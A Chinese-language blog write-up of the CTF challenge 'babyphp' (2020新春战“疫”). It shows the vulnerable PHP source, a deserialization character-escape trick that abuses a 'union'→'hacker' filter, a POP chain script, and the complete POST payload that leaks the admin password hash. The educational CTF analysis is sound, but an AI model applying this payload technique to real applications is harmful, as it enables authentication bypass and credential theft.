Hed9eh0g

前进的路上总是孤独的

[2020新春战“疫”] babyphp复现

本文共计有9272个字

涉及知识点

  • 反序列化字符逃逸
  • pop链构造

思路

源码泄露,发现update.php中:

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
    echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}

如果能够登陆就给flag,故线索都在lib.php中。

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;
        $_SESSION['login']=1;
        echo "你的ID是".$_SESSION['id'];
        echo "你好!".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

反序列化字符逃逸

寻找利用点,在User类中存在反序列化函数:

    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }

反序列化的字符串由getNewInfo生成,在getNewInfo中,post传值age与nickname,后实例化一个Info类再序列化,然后还要经过safe过滤。

safe过滤:

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

把可疑字符替换为hacker,会导致长度发生变化,所以可以触发反序列化逃逸。

构造一个正常的payload,比如POST:age=&nickname=,序列化结果:

O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";N;}

测试逃逸,比如想把$CtrlCase的值覆盖为haha:

O:4:"Info":3:{s:3:"age";s:0:"";s:8:"nickname";s:0:"";s:8:"CtrlCase";s:4:"haha";}

payload:

";s:8:"CtrlCase";s:4:"haha";}

需要逃逸29个字符,从union替换为hacker逃逸出1个字符,所以需要29个union:

age=&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";s:4:"haha";}

测试代码:

<?php
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
}
$age=123;
$nickname='unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";s:4:"haha";}';
$a=new Info();
$a->nickname=$nickname;
$a->age=$age;
var_dump(unserialize(safe(serialize($a))));

结果成功覆盖:

object(Info)#2 (3) {
  ["age"]=>
  int(123)
  ["nickname"]=>
  string(174) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["CtrlCase"]=>
  string(4) "haha"
}

知道了如何逃逸,接下来构造pop链。

构造POP链

回到update.php中:

$users=new User();
$users->update();

因此关注User类中的魔法函数,发现:

    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

__destruct的file_get_contents如果能直接避开登录,读取flag.php固然很香,然而不可能,因为我们所传的参数必定要经过safe过滤,flag字眼必定被替换掉。

所以关注__toString,要执行该魔法函数必须寻找触发点,发现UpdateHelper类中有echo:

    public function __destruct()
    {
        echo $this->sql;
    }

那么让sql为User类就可以执行__toString了。

回到__toString中,执行了nickname->update(),所以找一下除了本身User类之外还有哪个类存在update(),发现dbCtrl存在该方法,然而:

《[2020新春战“疫”] babyphp复现》

这时既然其他类中都不存在update,而恰好Info类中恰好存在__call魔法函数:

    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }

所以让__toString中nickname为Info类即可执行__call中的内容,其中name是不存在的方法名update,argument是User类的所有参数,让CtrlCase参数去执行login方法,形参argument[0]就是User的age,而login方法在dbCtrl类中是登录操作,那么让Ctrlcase为dbCtrl类即可触发。

    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }

有后台数据库开发经验的就很容易理解,当token为admin时返回$idResult,而$idResult是通过$sql请求数据库得到的第一个结果(总共有两个结果:$idResult, $passwordResult),而$sql是可控的(也即argument[0],也即User的age),所以要查询密码age的payload应该为:

age='select password,id from user where username=?'

其中password必须在id前面才可以通过$idResult回显出来。

至此POP链完成,写代码:

Class UpdateHelper
{
    public $sql;
}

class User
{
    public $age = null;
    public $nickname = null;
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
}

class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser = "root";
    public $dbpass = "root";
    public $database = "test";
    public $name;
    public $token='admin';
}

$a=new UpdateHelper();
$a->sql=new User();
$a->sql->nickname=new Info();
$a->sql->age='select password,id from user where username=?';
$a->sql->nickname->CtrlCase=new dbCtrl();
$a->sql->nickname->CtrlCase->name='admin';

$b='";s:8:"CtrlCase";'.serialize($a)."}";
$len=strlen($b);
$nickname=str_repeat('union',$len).$b;
echo $nickname;

post传参

age=123&nickname=unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":6:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:5:"token";s:5:"admin";}}}}}

即可得到password的md5,而后可以查询出明文,在login页面登录即可拿到flag,实际上是跳转到了update.php。

《[2020新春战“疫”] babyphp复现》

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注